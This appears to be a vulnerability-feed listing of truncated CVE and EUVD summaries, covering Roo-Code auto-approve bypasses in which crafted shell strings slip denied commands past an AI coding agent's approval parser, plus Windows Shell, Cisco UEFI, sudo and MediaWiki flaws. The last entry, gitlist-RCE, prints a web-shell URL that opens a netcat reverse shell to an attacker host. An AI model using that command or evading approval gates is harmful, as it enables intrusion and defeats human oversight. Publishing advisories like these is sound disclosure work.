CVE-2026-82537 Roo-Code 3.54.0 Auto-Approve Bypass via Shell Parser Word-Boundary Mismatch

Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability that allows attackers to execute denied shell commands by exploiting a word-boundary mismatch in comment handling between the approval gate's shell parser and bash. Attackers can craft a command string with an allowlisted word...

EUVD-2026-74041

Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability that allows attackers to execute denied shell commands by exploiting a word-boundary mismatch in comment handling between the approval gate's shell parser and bash. Attackers can craft a command string with an allowlisted word...

EUVD-2026-74040

Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability in the shell command parsing logic that allows attackers to execute denied shell commands by exploiting the omission of the bash pipe operator from the command parser's operator token set. Attackers can craft a command line wit...

CVE-2026-82536

Roo-Code through version 3.54.0 contains an auto-approve bypass in its shell command parsing logic. The root cause is the omission of the bash pipe operator (specifically the stderr-redirecting pipe) from the parser's operator token set. An attacker can craft a command line combining an allowlist...

CVE-2021-3156

CVE-2021-3156 En este documento incluimos todo el conocimiento necesario para entender el código de este repositorio y por qué funciona. Toda la explicación se basa en el informe creado por QUALYS. Allí se explican otras formas de explotación. Requisitos Las versiones vulnerables de sudo son las...

CVE-2017-8809_MediaWiki_RFD

CVE-2017-8809 - RFD Reflected File Download para MediaWiki Un usuario remoto puede crear una URL especialmente diseñada para el sitio objetivo que, al ser cargada por el usuario objetivo, hará que el script 'api.php' descargue un archivo que contiene comandos de shell CVE-2017-8809. El archivo se...

CVE-2026-20293

A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...

EUVD-2026-73691

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

CVE-2026-69392

CVE-2026-69392 is a use-after-free vulnerability in Windows Shell that allows an authorized attacker to perform local privilege escalation . The CVSS 3.1 score is 7.8 (HIGH) , reflecting a local attack vector with high complexity, low privileges required, no user interaction, and a scope change l...

CVE-2026-69829

CVE-2026-69829 is a heap-based buffer overflow in Windows Shell that allows an unauthorized attacker to achieve remote code execution over a network . Microsoft's assigned CVSS 3.1 score is 9.8 (CRITICAL) , with an attack vector of Network, low complexity, no privileges required, and no user inte...

EUVD-2026-73629

Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network...

EUVD-2026-73549

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

CVE-2026-69606

CVE-2026-69606 is a use-after-free vulnerability in Windows Shell that allows a local, low-privilege attacker to achieve local privilege elevation . The CVSS 3.1 score is 7.0 (HIGH) , with the vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating a local attack vector, high complexity, ...

CVE-2026-69383

CVE-2026-69383 is a local elevation of privilege vulnerability in Windows Shell , caused by external control of file name or path . An authorized attacker with low privileges can exploit this to gain full control over confidentiality, integrity, and availability of the system (CVSS 3.1 base score...

EUVD-2026-73131

External control of file name or path in Windows Shell allows an authorized attacker to elevate privileges locally...

EUVD-2026-73081

Improper link resolution before file access 'link following' in Windows Shell allows an unauthorized attacker to perform spoofing over a network...

CVE-2026-70563

CVE-2026-70563 is an improper link resolution before file access ("link following") vulnerability in Windows Shell that allows an unauthorized attacker to perform spoofing over a network . The assigned CVSS 3.1 score is 8.1 (HIGH) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N, indicating h...

CVE-2026-69528

CVE-2026-69528 is a local privilege escalation vulnerability in Windows Shell caused by missing authentication for a critical function . An authorized attacker (with low privileges, no user interaction required) can exploit this to gain full control over confidentiality, integrity, and availabili...

EUVD-2026-73010

Missing authentication for critical function in Windows Shell allows an authorized attacker to elevate privileges locally...

gitlist-RCE

gitlist-RCE CVE-2014-4511 ejemplo: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...